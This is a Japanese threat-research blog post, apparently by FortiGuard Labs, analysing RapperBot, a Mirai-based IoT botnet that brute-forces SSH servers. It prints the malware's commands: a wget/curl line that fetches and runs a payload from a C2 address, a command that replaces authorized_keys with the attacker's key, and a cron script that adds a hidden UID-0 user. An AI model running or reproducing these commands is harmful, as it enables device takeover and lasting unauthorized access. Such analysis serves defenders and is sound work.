脅威リサーチ

RapperBotの脅威とは

投稿者 Joie Salvio および Roy Tay | 2022年11月1日

FortiGuard Labsは、2022年6月中旬より、「RapperBot」と呼ばれる急速に進化するIoTマルウェアファミリーの追跡を進めています。このファミリーのソースコードの多くはオリジナルのMiraiのものを借用していますが、他のIoTマルウェアファミリーと異なる点として、認証情報を総当たり攻撃(ブルートフォース攻撃)する組み込み機能を備え、Miraiで実装されているTelnetではなく、SSHサーバーのアクセスを取得できます。

また、マルウェア開発者によって永続化のためのコードが追加されていることが、最近のサンプルで明らかになり、これは他のMiraiの亜種ではほぼ見られません。この結果、デバイスが再起動されたり、マルウェアが駆除された後であっても、脅威アクターは引き続き、SSHを介して感染デバイスにアクセスすることができます。

影響を受けるプラットフォーム: Linux
影響を受けるユーザー:     あらゆる組織
影響:             リモートの攻撃者による脆弱なシステムの乗っ取り
深刻度:            クリティカル

このブログでは、この脅威が被害者のデバイスにどのように感染し永続化するのか、および脅威アクターの真の意図に疑問を抱かせる興味深い変化について明らかにします。

発見

2022年6月、FortiGuard Labsは、他のIoTマルウェアキャンペーンではあまり見られないSSH関連の文字列を含むIoTマルウェアサンプルを発見しました。一般的に、他の亜種ではコードの大部分がDDoS攻撃用のコードで構成されていますが、本マルウェアの興味深い点は、SSH関連の文字列を参照するコードのサイズでした。

さらに解析を進めた結果、「RapperBot」と名付けられたこのマルウェアファミリーは、主にSSH総当たり攻撃ツールとして機能する設計になっており、DDoS機能は限定的であることが判明しました。一般的な大部分のIoTマルウェアと同様、ARM、MIPS、SPARC、およびx86アーキテクチャを標的とします。

「RapperBot」という名前は、7月初旬にCNCERTによって報告された初期のサンプルで発見されたYouTubeのラップ音楽ビデオの埋め込みURLに由来しています。このURLは、この報告以降に公開されたRapperBotのサンプルには含まれていません。

攻撃者による通信

RapperBotはMiraiのソースコードの一部を大幅に再利用していますが、コマンド&コントロール(C2)のコマンドプロトコルなど、機能や実装の詳細は、FortiGuard Labsが監視するオリジナルのMiraiおよび一般的なMiraiベースの亜種とは大きく異なります。

大半のMiraiの亜種は通常、デフォルトのパスワードや脆弱なパスワードを使用するTelnetサーバーに対して総当たり攻撃を行いますが、RapperBotの場合、パスワード認証を使用するようコンフィギュレーションされているSSHサーバーを集中的にスキャンして総当たり攻撃を試みます。本マルウェアに含まれているコードの大半はSSH 2.0クライアントの実装であり、768ビットまたは2048ビットの鍵を使用するDiffie-Hellmann鍵交換、およびAES128-CTRによるデータ暗号化をサポートするすべてのSSHサーバーに接続して、総当たり攻撃することができます。

RapperBotによる総当たり攻撃の実装の特徴的な機能として、SSHプロトコル交換フェーズ時、SSHサーバーに対して「SSH-2.0-HELLOWORLD」を使用して自身を識別します。このRapperBotは6月中旬に登場しましたが、SANS Internet Storm Centerが同じタイミングで、ハニーポットのログ内にこのクライアントと同じ識別文字列を観測しました。

初期のサンプルでは、総当たり攻撃に使用する認証情報の一覧がバイナリにハードコードされていました。7月以降のサンプルでは、C2サーバーの別のポートからこのリストを取得するようになっています。この結果、脅威アクターは継続的に新しいSSHの認証情報を追加できるようになり、感染デバイスのサンプルを新たに更新する必要はありません。最新のサンプルでは、このポート番号は4343~4345の範囲です。

RapperBotは、SSHサーバーへの総当り攻撃が成功すると、リモートの被害者に対して他のコマンドは実行せず、別のポート(現在は48109)を使用して、有効な認証情報をC2サーバーに報告します。

一方で、FortiGuard Labが6月下旬に発見した一部のサンプルでは、感染後、リモートからバイナリをダウンロードするツールを使用して自己増殖を試みます。感染したSSHサーバー上で実行されるコマンドを以下に示します。

sh
enable
shell
debug shell
cmd

wget http://2[.]58[.]149[.]116/w -O- | sh; curl http://2[.]58[.]149[.]116/c -O- |  sh

理由は不明ですが、数日後に収集されたサンプルではこの増殖機能は削除されており、その後のサンプルでは確認されていません。オリジナルのMiraiと同様、脅威アクターは、被害者に接続してボットクライアントをダウンロードし実行できるように、ローダーシステムを別途実装したと私たちは考えています。

試行錯誤

7月中旬以降、RapperBotは、自己増殖型から、総当たり攻撃先のSSHサーバーとのリモートアクセスを維持する方向に変化しました。シェルコマンドを実行して、リモート被害者の「~/.ssh/authorized_keys」を、脅威アクターのSSH公開鍵を含むものに置き換え、以下に示すような「helloworld,」のコメントが含まれています。

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAACAQC/yU0iqklqw6etPlUon4mZzxslFWq8G8sRyluQMD3i8tpQWT2cX/mwGgSRCz7HMLyxt87olYIPemTIRBiyqk8SLD3ijQpfZwQ9vs Hc47hdTBfj89FeHJGGm1KpWg8lrXeMW+5jIXTFmEFhbJ18wc25Dcds4QCM0DvZGr/Pg4+kqJ0gLyqYmB2fdNzBcU05QhhWW6tSuYcXcyAz8Cp73JmN6TcPuVqHeFYDg05KweY qTqThFFHbdxdqqrWy6fNt8q/cgI30NBa5W2LyZ4b1v6324IEJuxImARIxTc96Igaf30LUza8kbZyc3bewY6IsFUN1PjQJcJi0ubVLyWyyJ554Tv8BBfPdY4jqCr4PzaJ2Rc1J FJYUSVVT4yX2p7L6iRpW212eZmqLMSoR5a2a/tO2s1giIlb+0EHtFWc2QH7yz/ZBjnun7opIoslLVvYJ9cxMoLeLr5Ig+zny+IEA3x090xtcL62X0jea6btVnYo7UN2BARziis Zze6oVuOTCBijuyvOM6ROZ6s/wl4CQAOSLDeFIP5L1paP9V1XLaYLDBAodNaUPFfTxggH3tZrnnU8Dge5/1JNa08F3WNUPM1S1x8L2HMatwc82x35jXyBSp3AMbdxMPhvyYI8v 2J1PqJH8OqGTVjdWe40mD2osRgLo1EOfP/SFBTD5VEo95K2ZLQ== helloworld">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~;

「~/.ssh/authorized_keys」に保存した公開鍵を利用すると、対応する秘密鍵を持つすべてのユーザーは、パスワードを入力することなく、SSHサーバーに接続して認証を得ることができます。この結果、SSHの認証情報を変更したり、SSHのパスワード認証を無効化した後でも、脅威アクターはSSHサーバーにアクセスできるため、感染したSSHサーバーにとって脅威となります。また、ファイルを置換して、既存のすべての認証キーは削除されるため、正規のユーザーは、公開鍵認証で、SSHサーバーにアクセスできなくなります。

RapperBotは、総当たり攻撃先のSSHサーバーへのアクセスを維持するだけでなく、RapperBotを実行したデバイスへの足場を確保することに非常に積極的です。7月中旬以降のサンプルでは、実行後、感染デバイス内のローカルの「~/.ssh/authorized_keys」に、前述と同じSSH鍵を付加しています。この結果、RapperBotは、デバイスが再起動されたり、RapperBotがデバイスから駆除された場合であっても、引き続き感染デバイスにアクセスすることが可能で、これはMiraiの多くの亜種とは異なります。最新のサンプルでは目立たないようにするため、公開鍵のコメントには、「helloworld.」ではなく、無害そうな「system key generated by server 20220709」が使用されています。

また、最新のRapperBotのサンプルでは、「/etc/passwd」と「/etc/shadow/」に直接書き込む形で、感染デバイスのrootユーザー「suhelper」が追加されおり、脅威アクターはデバイスをより完全にコントロールすることができます。さらに、他のユーザー(またはボットネット)が被害者のシステムからこれらのアカウントを削除する場合に備えて、以下のスクリプトを「/etc/cron.hourly/0」に書き込むことで、1時間毎にrootユーザーアカウントを追加します。rootユーザーを追加するコマンドを以下に示します。

#!/bin/sh

useradd -u 0 -g 0 -o -d / suhelper -p '$1$1OJBlhUV$E9DMK0xdoZb8W8wVOibPQ/' >/dev/null 2>&1

図1は、RapperBotの最新サンプルの動作を示しています。点線は、実際には観察されていないが、脅威アクターが実行可能だとFortiGuard Labsが評価する、考えられる活動を示しています。

図1:RapperBotの実行フロー

存在を隠す

初期のサンプルでは文字列は平文でしたが、後のサンプルでは、スタックを使って文字列を構築することで、追加の難読化が付け加えられています。これにより、一般的な解析ツールや検知技術では、人間が可読可能な文字列をバイナリファイルから抽出することができません(図2)。

図2:RapperBotサンプルの文字列のエンコード

また、最新のサンプルでは、Miraiスタイルの追加のレイヤが実装されており、実行中、これらの文字列をメモリスキャナから隠蔽します。

Keksecなど、MiraiやGafgytの大部分のオペレータは、自身を識別するための文字列をマルウェアサンプル内に追加する傾向がありますが、このマルウェアの開発者は比較的控えめです(時々見られるラップ音楽の参照を除く)。

ネットワークプロトコル

RapperBotは、TCPリクエストを介してC2サーバーと通信し、コマンドを受信するポート(最新のサンプルでは443)、SSH認証情報リストをダウンロードするポート、およびSSHの総当たり攻撃時に有効な認証情報を報告するポートはそれぞれ異なっています。

コマンド用のネットワークプロトコルについては、以下で詳しく説明します。

各リクエストにはボットIDが含まれており、これは、バイナリにハードコードされている32バイトの値です。FortiGuard Labsは、以下に示す2つのIDを確認しました。

d4 1c 74 44 70 95 28 ff f0 98 ae 4e 6f 92 ba d5 0f cd 56 29 c5 12 53 a1 fe 46 53 c7 0b b5 18 27

f6 b7 0b 00 14 77 35 f9 8d 6d 5d c4 bd 23 88 7e cf 5e 02 ce 54 5f e7 b1 e6 3f 2a 16 71 b6 eb 9a(2021年12月後半にのみ見られる別のクラスタ)

補足として、これらのボットIDをピボット分析することで、2021年の古いサンプルを発見することができました。ただし、SSHの総当たり攻撃機能は、2022年6月中旬以降のサンプルにのみ見られます。

最初に、RapperBotは、登録パケットをC2サーバーに送信します。登録パケットには、被害者のシステムでバイナリが実行された際に使用された引数が含まれており(Miraiでは「ソース」と呼ばれる)、通常は、その実行に関する基本的なコンテキスト情報が提供されます。たとえば、「ssh.wget.arm7」の場合、バイナリはSSHプロトコルを介して拡散され、wgetユーティリティでダウンロードされ、ARMアーキテクチャであることをC2サーバーに伝えます。

後続の通信では、以下のような構造が使用されます。

struct rapperbot_registration {

    byte bot_id[32];

    int command_code;

    source [32];

};

RapperBotがサポートするコマンドコードを紹介します。

  • 0x00:登録(クライアントが使用)
  • 0x01:キープアライブ / 何もしない
  • 0x02:すべてのDoS攻撃を停止し、クライアントを終了する
  • 0x03:DoS攻撃を実行
  • 0x04:すべてのDoS攻撃を停止

クライアントは、登録パケットの直後に別のリクエストを送信して、クライアントがコマンドの受信の準備が完了したことをC2に通知します。C2サーバーは通常、キープアライブコマンドを使って応答して、リクエストの受信確認を行います(図3)。

図3:RapperBotのクライアント・サーバー間の通信

当社による解析時には、キープアライブコマンド以外に、C2サーバーからの他のコマンドは観察されませんでした。

ただし、RapperBotには、単純なUDPやTCP STOMPによるフラッド攻撃など、最小限の一連のDoS攻撃をサポートしており、これはMiraiの実装と非常に類似しています。

攻撃コマンドの構造を以下に示します。

struct rapperbot_attack_command {

    byte bot_id[32];

    int command_code;  // 0x03
    byte vector; // type of DoS attack
    ushort target_port;
    int duration;
    int target_ip;
};

 

動機は不明

FortiGuard Labsは、1ヵ月以上にわたりこの脅威を監視しています。この期間、キャンペーンを実行する脅威アクターの主な動機の特定を試みる中、複数の興味深い変更が加えられ、答えより疑問のほうがより大きくなりました。

サンプルを観察すると、ある時点でDDoS攻撃機能が完全に削除され、1週間後に再び追加されました。DDoS機能が保持されたのは、一般的なDDoSボットネットを装って、過剰な注目を集めないようにするためだと思われます。また、このキャンペーン全体が、まだ未完成である可能性があります。

さらに、6月下旬、自己増殖機能が数日間で削除され、現在は、総当たり攻撃したSSHサーバーに対する継続的なアクセスを積極的に保持することに焦点が置かれています。脅威アクターは、ボットネットを拡大するよりも、感染したSSHデバイスを収集することに関心があるように思われます。

また、総当たり攻撃後、追加のペイロードの配信は確認されていません。脅威アクターが、感染したSSHサーバーのコレクションを急激に増やしている理由は、推測するしかありません。クライアント識別文字列の「SSH-2.0-HELLOWORLD」を含む、SSHサーバーに対するスキャンや総当たり攻撃を試みるユニークIPの数は、過去1.5か月で3,500以上観察されました。観察されたIPの半分以上が、米国、台湾、韓国のIPで占められています(図4)。

図4:2022年6月中旬~2022年7月下旬までのスキャナIPの数

結論

この脅威は、Miraiのコードを多く借用していますが、この脅威の前身やその亜種とは異なる特徴を持っています。この脅威は、被害者のシステム内に永続的に存在できるため、脅威アクターが望む悪意のある目的に対して柔軟に使用することができます。

RapperBotで行われた一部の大きな興味深い変更については、主な動機は不明のままです。一方で、この脅威の主な拡散手法は、SSHの認証情報の総当たり攻撃であるため、デバイスに強力なパスワードを設定したり、SSHのパスワード認証を無効化することで(可能な場合)、この脅威を簡単に軽減することができます。

FortiGuard Labsは今後も、RapperBotの展開の監視を継続することにしています。

フォーティネットのソリューション

フォーティネットのお客様は以下によって保護されています。

  • FortiGuardアンチウイルスサービスは、この脅威をELF/MiraiおよびLinux/Miraiとして検知し、ブロックします。
  • FortiGuard Webフィルタリングサービスは、C2サーバーおよびダウンロードURLをブロックします。

FortiGuard IPレピュテーション / アンチボットネットサービスは、フォーティネット分散ネットワークから提供される悪意のある送信元のIPデータを集約し、これらによる攻撃を事前にブロックします。この分散ネットワークは、脅威センサ、CERT、MITRE、協力関係にある他社、その他のグローバルソースが連携して、悪意のある送信元に関する最新の脅威インテリジェンスを提供しています。

IOC(Indicator of Compromise:侵害指標)

ファイル

92ae77e9dd22e7680123bb230ce43ef602998e6a1c6756d9e2ce5822a09b37b4
a31f4caa0be9e588056c92fd69c8ac970ebc7e85a68615b1d9407a954d4df45d
e8d06ac196c7852ff71c150b2081150be9996ff670550717127db8ab855175a8
23a415d0ec6d3131f1d537836d3c0449097e98167b18fbdbf2efca789748818a
c83f318339e9c4072010b625d876558d14eaa0028339db9edf12bbcafe6828bb
05c78eaf32af9647f178dff981e6e4e43b1579d95ccd4f1c2f1436dbfa0727ad
88bbb772b8731296822646735aacbfb53014fbb7f90227b44523d7577e0a7ce6
e8f1e8ec6b94ea54488d5f714e71e51d58dcdfe4be3827c55970d6f3b06edf73
23256f231f3d91b0136b44d649b924552607a29b43a195024dbe6cde5b4a28ad
77b2e5fb5b72493bde35a6b29a66e6250b6a5a0c9b9c5653957f64a12c793cd5
dcdeedee4736ec528d1a30a585ec4a1a4f3462d6d25b71f6c1a4fef7f641e7ae
ebb860512a55c1cdc8be1399eec44c4481aedb418f15dbda4612e6d38e9b9010
9d234e975e4df539a217d1c4386822be1f56cea35f7dd2aa606ae4995894da42
1975851c916587e057fa5862884cbac3fa1e80881ddd062392486f5390c86865
8380321c1bd250424a0a167e0f319511611f73b53736895a8d3a2ad58ffcd5d5
f5ff9d1261af176d7ff1ef91aa8c892c70b40caa02c17a25de22539e9d0cdd26
2298071b6ba7baa5393be064876efcdbd9217c212e0c764ba62a6f0ffc83cc5a
2479932a6690f070fa344e5222e3fbb6ad9c880294d5b822d7a3ec27f1b8b8d5
1d5e6624a2ce55616ef078a72f25c9d71a3dbc0175522c0d8e07233115824f96
746106403a98aea357b80f17910b641db9c4fedbb3968e75d836e8b1d5712a62
ddf5aff0485f395c7e6c3de868b15212129962b4b9c8040bef6679ad880e3f31
e56edaa1e06403757e6e2362383d41db4e4453aafda144bb36080a1f1b899a02
55ff25b090dc1b380d8ca152428ba28ec14e9ef13a48b3fd162e965244b0d39b
8e9f87bb25ff83e4ad970366bba47afb838028f7028ea3a7c73c4d08906ec102
d86d158778a90f6633b41a10e169b25e3cb1eb35b369a9168ec64b2d8b3cbeec
ff09cf7dfd1dc1466815d4df098065510eec504099ebb02b830309067031fe04

ダウンロードURL

hxxp://31[.]44[.]185[.]235/x86
hxxp://31[.]44[.]185[.]235/mips
hxxp://31[.]44[.]185[.]235/arm7
hxxp://2[.]58[.]149[.]116/arm
hxxp://2[.]58[.]149[.]116/spc
hxxp://2[.]58[.]149[.]116/mips
hxxp://2[.]58[.]149[.]116/x86_64
hxxp://2[.]58[.]149[.]116/ssh/arm7
hxxp://2[.]58[.]149[.]116/ssh/mips
hxxp://2[.]58[.]149[.]116/ssh/x86
hxxp://2[.]58[.]149[.]116/ssh/spc
hxxp://194[.]31[.]98[.]244/ssh/new/spc
hxxp://194[.]31[.]98[.]244/ssh/new/x86
hxxp://194[.]31[.]98[.]244/ssh/new/mips
hxxp://194[.]31[.]98[.]244/ssh/new/arm7
hxxp://194[.]31[.]98[.]244/ssh/new/arm
hxxp://194[.]31[.]98[.]244/ssh/new/x86
hxxp://194[.]31[.]98[.]244/ssh/new/mips
hxxp://194[.]31[.]98[.]244/ssh/new/arm7
hxxp://194[.]31[.]98[.]244/ssh/new/arm
hxxp://185[.]225[.]73[.]196/ssh/new/arm
hxxp://185[.]225[.]73[.]196/ssh/new/arm7
hxxp://185[.]225[.]73[.]196/ssh/new/mips
hxxp//185[.]225[.]73[.]196/ssh/new/x86

C2

31[.]44[.]185[.]235
2[.]58[.]149[.]116
194[.]31[.]98[.]244
185[.]225[.]73[.]196

脅威アクターのSSH公開鍵

AAAAB3NzaC1yc2EAAAADAQABAAACAQC/yU0iqklqw6etPlUon4mZzxslFWq8G8sRyluQMD3i8tpQWT2cX/mwGgSRCz7HMLyxt87olYIPemTIRBiyqk8SLD3ijQpfZwQ9vsHc47hdTBfj89FeHJ GGm1KpWg8lrXeMW+5jIXTFmEFhbJ18wc25Dcds4QCM0DvZGr/Pg4+kqJ0gLyqYmB2fdNzBcU05QhhWW6tSuYcXcyAz8Cp73JmN6TcPuVqHeFYDg05KweYqTqThFFHbdxdqqrWy6fNt8q/cgI30 NBa5W2LyZ4b1v6324IEJuxImARIxTc96Igaf30LUza8kbZyc3bewY6IsFUN1PjQJcJi0ubVLyWyyJ554Tv8BBfPdY4jqCr4PzaJ2Rc1JFJYUSVVT4yX2p7L6iRpW212eZmqLMSoR5a2a/tO2s1 giIlb+0EHtFWc2QH7yz/ZBjnun7opIoslLVvYJ9cxMoLeLr5Ig+zny+IEA3x090xtcL62X0jea6btVnYo7UN2BARziisZze6oVuOTCBijuyvOM6ROZ6s/wl4CQAOSLDeFIP5L1paP9V1XLaYLD BAodNaUPFfTxggH3tZrnnU8Dge5/1JNa08F3WNUPM1S1x8L2HMatwc82x35jXyBSp3AMbdxMPhvyYI8v2J1PqJH8OqGTVjdWe40mD2osRgLo1EOfP/SFBTD5VEo95K2ZLQ==

脅威アクターのrootユーザー

/etc /passwd suhelper:x:0:0::/:

/etc /shadow suhelper:$1$1OJBlhUV$E9DMK0xdoZb8W8wVOibPQ/:19185:0:99999:7:::